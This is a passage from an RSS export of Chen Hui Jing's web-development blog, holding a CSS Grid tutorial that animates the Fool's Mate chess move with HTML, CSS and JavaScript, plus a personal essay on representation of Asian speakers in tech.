&lt;img srcset=&quot;/images/posts/magical-kittencorn/rk-480.png 480w, /images/posts/magical-kittencorn/rk-640.png 640w, /images/posts/magical-kittencorn/rk-960.png 960w, /images/posts/magical-kittencorn/rk-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/magical-kittencorn/rk-640.png&quot; alt=&quot;React Knowledgeable&quot;&gt;
&lt;p&gt;It&apos;s going to be a lightning talk series of 4–5 lightning talks each meetup with a networking break in between. Read &lt;a href=&quot;https://reactknowledgeable.org/stories/baby-react-knowledgeable-is-born/&quot;&gt;the origin story&lt;/a&gt; to find out more. And &lt;a href=&quot;https://github.com/react-knowledgeable/talks/issues/new?assignees=&amp;amp;labels=talk&amp;amp;template=talk.md&amp;amp;title=%E2%9A%A1%EF%B8%8F+how+not+to+get+caught+and+be+eaten&quot;&gt;submit a talk&lt;/a&gt; if you feel like it.&lt;/p&gt;
&lt;p&gt;CSS kittencorn&apos;s kid sibling is kind of the unofficial mascot for &lt;code class=&quot;no-break&quot;&gt;&amp;lt;RK⚡️ /&amp;gt;&lt;/code&gt;, I think? Go ask Wei about it. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;So if you happen to be in Singapore during the first week of any month, drop by &lt;a href=&quot;https://www.meetup.com/SingaporeCSS/&quot;&gt;Talk.CSS&lt;/a&gt; or &lt;a href=&quot;https://reactknowledgeable.org/&quot;&gt;React Knowledgeable&lt;/a&gt; and come see the kids. The meetups will be at least not bad. This is an official Hui Jing guarantee.&lt;/p&gt;
&lt;h2&gt;Resources&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/css-animations-1/&quot;&gt;CSS Animations Level 1&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations&quot;&gt;Using CSS animations&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/animation&quot;&gt;MDN web docs: CSS animation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Recreating the Fool&apos;s Mate chess move with CSS Grid</title><link>https://chenhuijing.com/blog/recreating-the-fools-mate-chess-move-with-css-grid/</link><guid isPermaLink="true">https://chenhuijing.com/blog/recreating-the-fools-mate-chess-move-with-css-grid/</guid><description>When Firefox 66 was released, one of the features that got myself and a couple other layout enthusiasts really excited was the ability to animate grid rows and…</description><pubDate>Sat, 13 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;When Firefox 66 was released, one of the features that got myself and a couple other layout enthusiasts really excited was the ability to animate grid rows and columns (in addition to grid gaps) when using CSS Grid. It had always been written in the specification, but it took some time for browsers to implement it.&lt;/p&gt;
&lt;p&gt;I wrote an &lt;a href=&quot;https://blog.bitsrc.io/animating-css-grid-rows-and-columns-4b3b0997d06a&quot;&gt;introductory post on the Bits blog&lt;/a&gt; earlier but still had more to explore. That article links to as many animation demos as I could find, but the one that I kept thinking about was the DVD logo by Andrew Harvard.&lt;/p&gt;
&lt;p class=&quot;codepen&quot; data-height=&quot;450&quot; data-theme-id=&quot;9162&quot; data-default-tab=&quot;result&quot; data-user=&quot;aharvard&quot; data-slug-hash=&quot;roPvmG&quot; style=&quot;height: 450px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;&quot; data-pen-title=&quot;The DVD Logo (css grid animation)&quot;&gt;
  &lt;span&gt;See the Pen &lt;a href=&quot;https://codepen.io/aharvard/pen/roPvmG/&quot;&gt;
  The DVD Logo (css grid animation)&lt;/a&gt; by Andrew Harvard (&lt;a href=&quot;https://codepen.io/aharvard&quot;&gt;@aharvard&lt;/a&gt;)
  on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;My preferred method of figuring out exactly how the demo worked was to observe it with Firefox DevTools. And it blew my mind. Go ahead, try it for yourself, I&apos;ll wait. As long as you&apos;re using Firefox 66 or later, the logo should be bouncing around the embed.&lt;/p&gt;
&lt;p&gt;Okay, for those of you who chose not to try it out yourself for any reason, you can play the video below and see what&apos;s actually powering the bouncing DVD logo.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Animate all together now…&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/ga-dvd.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/ga-dvd.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;I&apos;m not a DevTools engineer, but I expect that it took effort to ensure the Grid inspector fully supported the animation of grid rows and columns, which meant when line numbers were toggled, they too were being animated.&lt;/p&gt;
&lt;h2&gt;What the DVD logo taught me&lt;/h2&gt;
&lt;p&gt;For me, when I first saw the animation without inspecting, my first thought was that the grid item was being animated across the grid. But that is &lt;strong&gt;not&lt;/strong&gt; what is going on. At least, not directly. In a sense, the grid item is being animated but not in the way I thought it was.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;That&apos;s how I thought it worked (spoiler: it&apos;s not)&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/fools-mate/animate-item.png&quot; srcset=&quot;/images/posts/fools-mate/animate-item@2x.png 2x&quot; alt=&quot;Visualisation of how a grid item might be animated&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;What is being animated is the grid &lt;em&gt;row&lt;/em&gt; or &lt;em&gt;column&lt;/em&gt;. That&apos;s why we had that cool effect with the DevTools (it was cool to me, I don&apos;t know about you…) but that also meant that you had to distort your grid to animate stuff within it.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;This is what actually can get animated&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/fools-mate/animate-rc.png&quot; srcset=&quot;/images/posts/fools-mate/animate-rc@2x.png 2x&quot; alt=&quot;Visualisation of how a grid rows or columns are animated&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;One of my favourite analogies to use when talking about how CSS grid is a game-changer for web layout is by comparing placement of grid items like placing pieces on a chessboard. So my next idea was to create a chessboard where the pieces could be animated across the board.&lt;/p&gt;
&lt;p&gt;But I realised the challenge once I figured out how animation of grid items really worked. I couldn&apos;t maintain a regular chessboard AND move chess pieces at the same time.&lt;/p&gt;
&lt;h2&gt;So you need to move some stuff around&lt;/h2&gt;
&lt;p&gt;If you&apos;re expecting some really smart solution to this problem, I&apos;m sorry to disappoint but my solution is the most un-smart of all. Each piece that needed to move was in its own grid, and all the grids were stacked on top of each other with positioning.&lt;/p&gt;
&lt;p&gt;It&apos;s all a scam, friends.&lt;/p&gt;
&lt;p&gt;But it works, so there.&lt;/p&gt;
&lt;p&gt;So Fool&apos;s Mate is also known as the Two-Move Checkmate in chess. According to &lt;a href=&quot;https://en.wikipedia.org/wiki/Fool%27s_mate&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Fool&apos;s Mate received its name because it can only occur if White commits an extraordinary blunder.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The opening move by White is f3, then Black responds with g4, then White goes g4 and Black does Qh4 and it&apos;s all over. There are variations of this but I went with the default one on Wikipedia. And I chose Fool&apos;s Mate to begin with because it only involved a total of 4 moves to animate. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;Creating the chess board&lt;/h3&gt;
&lt;p&gt;Let&apos;s talk about the chess board though, because I still kinda like how that turned out. I went with a board configuration where Black is on top and White is at the bottom. I&apos;m guessing that most people would firstly think about creating 64 grid items for each square on the board.&lt;/p&gt;
&lt;p&gt;But I wanted to get away with less markup. So instead of doing that, I only created 28 grid items to be my static chess pieces and instead applied a &lt;code&gt;linear-gradient&lt;/code&gt; on the grid container to generate the requisite checkerboard pattern.&lt;/p&gt;
&lt;p&gt;Also, there is emoji support for every chess piece. Emoji chess for me, thanks.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;div class=&amp;quot;grid board&amp;quot;&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece&amp;quot;&amp;gt;♜&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece&amp;quot;&amp;gt;♞&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece&amp;quot;&amp;gt;♝&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece&amp;quot;&amp;gt;♚&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece&amp;quot;&amp;gt;♝&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece&amp;quot;&amp;gt;♞&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece&amp;quot;&amp;gt;♜&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece&amp;quot;&amp;gt;♟&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece&amp;quot;&amp;gt;♟&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece&amp;quot;&amp;gt;♟&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece&amp;quot;&amp;gt;♟&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece&amp;quot;&amp;gt;♟&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece&amp;quot;&amp;gt;♟&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece&amp;quot;&amp;gt;♟&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece row7&amp;quot;&amp;gt;♙&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece row7&amp;quot;&amp;gt;♙&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece row7&amp;quot;&amp;gt;♙&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece row7&amp;quot;&amp;gt;♙&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece row7&amp;quot;&amp;gt;♙&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece row7&amp;quot;&amp;gt;♙&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece row8&amp;quot;&amp;gt;♖&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece row8&amp;quot;&amp;gt;♘&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece row8&amp;quot;&amp;gt;♗&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece row8&amp;quot;&amp;gt;♕&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece row8&amp;quot;&amp;gt;♔&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece row8&amp;quot;&amp;gt;♗&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece row8&amp;quot;&amp;gt;♘&amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item piece row8&amp;quot;&amp;gt;♖&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As for the actual checkerboard, here&apos;s how it was generated. Works pretty well, but the only thing is depending on the size of the viewport, you might see a very faint white diagonal gap across some of the darker coloured squares.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.board {
  background-color: #eee;
  background-image: linear-gradient(
      45deg,
      #d18b47 25%,
      transparent 25%,
      transparent 75%,
      #d18b47 75%,
      #d18b47
    ), linear-gradient(45deg, #d18b47 25%, transparent 25%, transparent 75%, #d18b47 75%, #d18b47);
  background-size: 24vmin 24vmin;
  background-position: 0 0, 12vmin 12vmin;
  width: 96vmin;
  height: 96vmin;
  margin: auto;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s break down this block of CSS, shall we? Applying that linear gradient on a square &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; on its own gives you something like this. Because we are applying hard stops at a 45 degree angle. I&apos;ve also declared 2 exactly the same linear gradients, but there&apos;s a reason for that. You&apos;ll see.&lt;/p&gt;
&lt;img src=&quot;/images/posts/fools-mate/bg1.png&quot; srcset=&quot;/images/posts/fools-mate/bg1@2x.png 2x&quot; alt=&quot;Linear gradient of 45 degrees with hard stop&quot;&gt;
&lt;p&gt;Next, we have the &lt;code&gt;background-size&lt;/code&gt; property. Background properties I find a lot of fun because they usually have many different syntaxes. In this case, you can use keywords, a 1-value syntax, a 2-value syntax, multiple backgrounds (using commas) and global values. Fun, right?&lt;/p&gt;
&lt;p&gt;One thing to remember is that &lt;strong&gt;ALL&lt;/strong&gt; CSS properties that a browser supports will have a default value applied if you don&apos;t explicitly declare it. The default value for &lt;code&gt;background-repeat&lt;/code&gt; is &lt;code&gt;repeat&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Anyhow, by setting the background size to a quarter of width and height of the main &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;, I end up with a 4 x 4 repeated pattern. You&apos;d get the same effect by setting the value to &lt;code&gt;25% 25%&lt;/code&gt;.&lt;/p&gt;
&lt;img src=&quot;/images/posts/fools-mate/bg2.png&quot; srcset=&quot;/images/posts/fools-mate/bg2@2x.png 2x&quot; alt=&quot;Setting a background size&quot;&gt;
&lt;p&gt;Maybe some of you can see where this is going, but the next step is to position the triangular shapes in a manner that they combine to form squares. &lt;code&gt;background-position&lt;/code&gt; also does the 1-value or 2-value syntax thing. Here&apos;s where the second linear gradient comes in.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;background-position&lt;/code&gt; can be applied to multiple backgrounds by matching them up accordingly with commas. So the first set of values &lt;code&gt;0, 0&lt;/code&gt; is for the first linear gradient, and the second set of value &lt;code&gt;12vmin 12vmin&lt;/code&gt; is for the second linear gradient.&lt;/p&gt;
&lt;img src=&quot;/images/posts/fools-mate/bg3.png&quot; srcset=&quot;/images/posts/fools-mate/bg3@2x.png 2x&quot; alt=&quot;Setting a background size&quot;&gt;
&lt;p&gt;So what we are doing is pushing the second linear gradient down and right so the triangles meet up and form squares. For my example, I&apos;m using the length value of &lt;code&gt;12vmin&lt;/code&gt; but you&apos;d get the same effect by using &lt;code&gt;50%&lt;/code&gt; as well.&lt;/p&gt;
&lt;h3&gt;Placing the chess pieces&lt;/h3&gt;
&lt;p&gt;You might be wondering about my choice of CSS classes for the chess pieces. I had &lt;a href=&quot;/blog/understanding-grid-placement/&quot;&gt;a previous experiment&lt;/a&gt; involving lots of grid items with gaps in between them and learned that you don&apos;t necessarily have to explicitly place every grid item.&lt;/p&gt;
&lt;p&gt;What I want here is to have the grid match up to the background of my grid container, and that&apos;s why I chose to use viewport units instead of percentages. So my grid rows and columns look like this, where the values match up to the background size:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.board {
  display: grid;
  grid-template-columns: repeat(8, 12vmin);
  grid-template-rows: repeat(8, 12vmin);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Out of the 32 chess pieces, 28 are static. But I have to take into account gaps for the pieces that need to be animated.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.board .piece:nth-child(4) {
  grid-column: 5;
}
.board .piece:nth-child(12) {
  grid-column: 6;
}
.board .piece:nth-child(20) {
  grid-column: 8;
}
.row7 {
  grid-row: 7;
}
.row8 {
  grid-row: 8;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Because of auto-placement, I can “push” the grid items forward by explicitly placing the King (4th child) on column 5, the pawn on f7 (12th child) on column 6 and the pawn on h2 (20th child) on column 8.&lt;/p&gt;
&lt;p&gt;But all of White is at the bottom of the grid, so we have &lt;code&gt;.row7&lt;/code&gt; class to push all the White pawns onto row 7 and the &lt;code&gt;.row8&lt;/code&gt; class to push the White non-pawns onto row 8.&lt;/p&gt;
&lt;h3&gt;Animating the 4 moves&lt;/h3&gt;
&lt;figure&gt;
  &lt;figcaption&gt;&lt;a href=&quot;https://www.thesprucecrafts.com/fools-mate-the-fastest-checkmate-611599&quot;&gt;Image source&lt;/a&gt;&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/fools-mate/fools-mate.png&quot; srcset=&quot;/images/posts/fools-mate/fools-mate@2x.png 2x&quot; alt=&quot;How to pull off a fool&apos;s mate in chess&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;The moving pieces for Black are the Queen, which is on the first row, and the pawn at e7, which is on the second row. For White, the pieces are on rows 7 and 8 of my chessboard grid. And the moving pieces are the pawns at f2 and g2.&lt;/p&gt;
&lt;p&gt;Remember the DVD demo? So each move will be a singular piece in its own grid. For example, this is the code for the Black Queen.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.move1 {
  grid-template-columns: 72vmin 1fr;
  grid-template-rows: 84vmin 1fr;
  transition: grid-template-rows 0.5s linear;
}

.move1.active {
  grid-template-rows: 72vmin 1fr;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I went with transitions instead of keyframes because my piece was just making 1 move. The DVD logo uses keyframes because it&apos;s a continuous animation. Right tool for the right job, no?&lt;/p&gt;
&lt;p&gt;There is JavaScript involved here because I wanted to make it kind of sort of interactive where people can click on a button to move the next piece.&lt;/p&gt;
&lt;p&gt;It&apos;s only 4 moves, so I figured it wouldn&apos;t be too hard. Needed a counter to track the start and end of the moves, but other than that, it was adding and removing CSS classes.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const prevBtn = document.getElementById(&amp;quot;prev&amp;quot;);
const nextBtn = document.getElementById(&amp;quot;next&amp;quot;);

let moves = 0;

prevBtn.addEventListener(&amp;quot;click&amp;quot;, prevHandler, false);
nextBtn.addEventListener(&amp;quot;click&amp;quot;, nextHandler, false);

function nextHandler() {
  if (moves &amp;lt; 4) {
    countUp();
    addActive(moves);
    console.log(moves);
  } else {
    console.log(&amp;quot;Already checkmate&amp;quot;);
  }
}

function prevHandler() {
  if (moves &amp;gt; 0) {
    removeActive(moves);
    countDown();
    console.log(moves);
  } else {
    console.log(&amp;quot;Back to the start&amp;quot;);
  }
}

function addActive(moves) {
  const activeMove = document.querySelector(&amp;quot;.move&amp;quot; + moves);
  activeMove.classList.add(&amp;quot;active&amp;quot;);
}

function removeActive(moves) {
  const activeMove = document.querySelector(&amp;quot;.move&amp;quot; + moves);
  activeMove.classList.remove(&amp;quot;active&amp;quot;);
}

function countUp() {
  return moves++;
}

function countDown() {
  return moves--;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Here&apos;s the whole thing on CodePen if you want to see exactly how everything comes together.&lt;/p&gt;
&lt;p class=&quot;codepen&quot; data-height=&quot;425&quot; data-theme-id=&quot;9162&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; data-slug-hash=&quot;LoPEYV&quot; style=&quot;height: 425px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;&quot; data-pen-title=&quot;CSS Fool&apos;s Mate&quot;&gt;
  &lt;span&gt;See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/LoPEYV/&quot;&gt;
  CSS Fool&apos;s Mate&lt;/a&gt; by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;)
  on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;If you found this interesting, maybe give it a try as well? I&apos;m really curious to see what other things can be designed and built with this behaviour, so feel free to ping me with your creation. I also want to shout out &lt;a href=&quot;https://github.com/Metroxe&quot;&gt;Christopher Powroznik&lt;/a&gt; for creating the &lt;a href=&quot;https://metroxe.github.io/one-html-page-challenge/&quot;&gt;One HTML Page Challenge&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I&apos;ve put up this Fool&apos;s Mate demo on there, but there&apos;s so much more that can be done in 1 single page. It&apos;s pretty fun to build stuff without external dependencies for a change.&lt;/p&gt;
</content:encoded></item><item><title>The importance of representation</title><link>https://chenhuijing.com/blog/the-importance-of-representation/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-importance-of-representation/</guid><description>It&apos;s almost coming up to 10 years since I deployed my first website onto the internet (it doesn&apos;t exist anymore either). In terms of being formally employed as…</description><pubDate>Wed, 10 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;It&apos;s almost coming up to 10 years since I deployed my first website onto the internet (it doesn&apos;t exist anymore either). In terms of being formally employed as a developer, that&apos;s much more recent, and I&apos;m almost at the 6 year mark for that.&lt;/p&gt;
&lt;p&gt;But until I got the chance to travel to tech conferences, I didn&apos;t really think about representation. Attending conferences wasn&apos;t even something that really crossed my mind, because a) they were mostly happening in far-away countries, and b) I could just watch videos online, right?&lt;/p&gt;
&lt;p&gt;That changed in 2014 when I &lt;a href=&quot;/blog/reflecting-on-this-web-developer-journey#the-web-development-conferences&quot;&gt;attended not 1, but 2 web conferences&lt;/a&gt;, &lt;a href=&quot;http://2014.formfunctionclass.com/&quot;&gt;Form, Function &amp;amp; Class 5&lt;/a&gt; in Manila, and &lt;a href=&quot;https://2014.cssconf.asia/&quot;&gt;CSSConf.Asia 2014&lt;/a&gt; in Singapore. I realised that physically being at a conference was very different from watching videos at home.&lt;/p&gt;
&lt;p&gt;I was, and still am, a cheap Asian stereotype, so I started scheming ways to get to conferences without having to pay for them. Volunteering was a good start, which led to hosting, and eventually I ended up speaking at conferences as well.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/representation/rep-480.jpg 480w, /images/posts/representation/rep-640.jpg 640w, /images/posts/representation/rep-960.jpg 960w, /images/posts/representation/rep-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/representation/rep-640.jpg&quot; alt=&quot;Volunteering, hosting and speaking at conferences&quot;&gt;
&lt;p&gt;The environment I grew up in and all my past experiences shape my thoughts and opinions right now. This also means my thoughts and opinions have changed from the past, and will continue to change as time moves forward. You may or may not agree with me, and that&apos;s perfectly fine.&lt;/p&gt;
&lt;p&gt;I&apos;m a fairly pessimistic person, in that I tend to hold on to the negative things more than the positive. The only thing I have going for me is that I&apos;m aware I do this. Unfortunately, my rational brain can never seem to override how I feel at any time.&lt;/p&gt;
&lt;h2&gt;Sub-conscious double standards&lt;/h2&gt;
&lt;p&gt;This is a broad generalisation, but when I was still playing basketball with the Malaysia women&apos;s national team back in the day, I felt that locals sort of looked down on our own athletes. That there was a lack of faith that we could do well. I&apos;m not sure if other athletes feel the same way, but to me, there were a large number of fair-weather fans who only showed support when our sports teams did well.&lt;/p&gt;
&lt;p&gt;But even before that, when I was much younger, I always felt that I needed to do well to justify myself. I can&apos;t pinpoint exactly why that was the case. Maybe this was how most Asian families operated with their kids? I did do reasonably well in school but I never had faith that if I didn&apos;t, it would be okay.&lt;/p&gt;
&lt;p&gt;My grandmother pretty much brought me up because both my parents were working. And she was always worried that I was jeopardising my future to play basketball. Even though I&apos;d call home and tell her what was going on, I never asked her to watch me play because I didn&apos;t think I was good enough yet.&lt;/p&gt;
&lt;img src=&quot;/images/posts/representation/rep2.jpg&quot; alt=&quot;Winning the MVP award for the 2012 MNBL Finals&quot;&gt;
&lt;p&gt;She passed away while I was playing in the Malaysia National Basketball League. Two weeks later, I won my first “Most Valuable Player” award. I can only imagine that maybe, I was good enough for her, and she would have been proud of me after all.&lt;/p&gt;
&lt;p&gt;But my point here is, I never had &lt;strong&gt;faith&lt;/strong&gt;. Never had faith that people would be supportive simply because of who I am, only of what I could do. And you&apos;re only as good as the last thing you did, right?&lt;/p&gt;
&lt;p&gt;I wasn&apos;t even aware that I was the one looking down on myself.&lt;/p&gt;
&lt;h2&gt;“We came to see you…”&lt;/h2&gt;
&lt;p&gt;In 2017, I had the opportunity to be part of the speaker line-up for the &lt;a href=&quot;https://medium.com/mozilla-tech/mozilla-developer-roadshow-asia-chapter-dd44d7342b9c&quot;&gt;Mozilla Developer Asia Roadshow&lt;/a&gt;. But I was a literal no-name who had only 2 talks to her name among a star-studded line-up of well-known personalities.&lt;/p&gt;
&lt;p&gt;The Roadshow covered 5 cities, of which 3 I claimed as home. Singapore, because I was based there. Kuala Lumpur, because I spent 8 years of my youth there. Penang, because I was born there. I was nervous as hell for the Singapore leg because I was sandwiched between Jeremy Keith and Vitaly Friedman.&lt;/p&gt;
&lt;p&gt;But talking about CSS somehow makes everything fine, so I thought I did okay. I just felt that people came out to see the famous white guys. I was just happy and grateful to be there for the experience, to be honest.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/representation/rep3-480.jpg 480w, /images/posts/representation/rep3-640.jpg 640w, /images/posts/representation/rep3-960.jpg 960w, /images/posts/representation/rep3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/representation/rep3-640.jpg&quot; alt=&quot;Speaking at the Kuala Lumpur stop on the Mozilla Developer Asia Roadshow in 2017&quot;&gt;
&lt;p&gt;When I opened in Kuala Lumpur, I said “Saya bangga jadi anak Malaysia”, which translates to I am proud to be Malaysian, something I believe with every fibre of my being. To my amazement, I received the warmest applause from the audience. It was a warm, fuzzy feeling.&lt;/p&gt;
&lt;p&gt;The kicker was at the Penang stop. I had weaved in 「我是庇能出世的孩子」(spoken in &lt;a href=&quot;http://penang-hokkien.gitlab.io/&quot;&gt;Penang Hokkien&lt;/a&gt; and translates to “I was born in Penang”) into my introduction. After my talk, I got the chance to chat with many lovely Penangites and one of them told me, they didn&apos;t know who these white guys were.&lt;/p&gt;
&lt;p&gt;They had come to see me.&lt;/p&gt;
&lt;h2&gt;Our perspectives add value&lt;/h2&gt;
&lt;p&gt;I think those stories said more about me and my myriad of issues than the actual local community, but it did change my perception on things. That the local community did want to see one of our own on stage. And they felt that we too have something valuable to say.&lt;/p&gt;
&lt;p&gt;This is something I believe in now. Enough to end up proposing &lt;a href=&quot;/blog/the-value-of-sharing-our-perspectives&quot;&gt;an impromptu lightning talk&lt;/a&gt; at DevRelCon Tokyo earlier this year. There are some things that will stay with me, probably for the rest of my life, like the feeling of, what I’m doing isn’t that great, or who am I to stand in front of other people, like yourselves, and talk about what I do?&lt;/p&gt;
&lt;p&gt;I have been incredibly fortunate to have met and become friends with outspoken and opinionated women in tech like &lt;a href=&quot;https://twitter.com/sareh88&quot;&gt;Sareh Heidari&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/jensimmons&quot;&gt;Jen Simmons&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/TatianaTMac&quot;&gt;Tatiana Mac&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/KimCrayton1&quot;&gt;Kim Crayton&lt;/a&gt; amongst many others. And through my various conversations and interactions with them, I&apos;ve realised how important it is to make sure diversity of thought is heard in our industry.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;I secretly refer to Thai as “my favourite Thai boy”. shhhh…don&apos;t tell anyone&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/representation/rep4-480.jpg 480w, /images/posts/representation/rep4-640.jpg 640w, /images/posts/representation/rep4-960.jpg 960w, /images/posts/representation/rep4-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/representation/rep4-640.jpg&quot; alt=&quot;Myself and Thai Pangsakulyanont at JSConf.Asia 2019&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;a href=&quot;https://2019.jsconf.asia/&quot;&gt;JSConf.Asia&lt;/a&gt; just wrapped up a couple weeks ago, and &lt;a href=&quot;https://dt.in.th/&quot;&gt;Thai Pangsakulyanont&lt;/a&gt;, who is an amazing Thai speaker that we managed to snag two years in a row, pulled more than 6.5K views from Thailand in just 1 week. &lt;a href=&quot;https://twitter.com/zainfathoni&quot;&gt;Zain Fathoni&lt;/a&gt;&apos;s talk video also got loads more traffic from Indonesia than any other region.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;It is high time that those of us outside of North America and Western Europe start sharing our perspectives. All our different perspectives.&lt;/p&gt;
&lt;p&gt;Because even though it is not something that most of us are naturally conditioned to do, there is value in contributing our perspectives to the world. For us to make our voices heard, and bring a greater awareness of the situations and contexts that we operate in.&lt;/p&gt;
&lt;p&gt;More than that, I&apos;ve started to really believe that it matters for people from my region, people who share my background, people who look like me, see someone they can relate to doing well on an international stage.&lt;/p&gt;
&lt;p&gt;And hopefully this inspires them to believe that they too have something valuable to share.&lt;/p&gt;
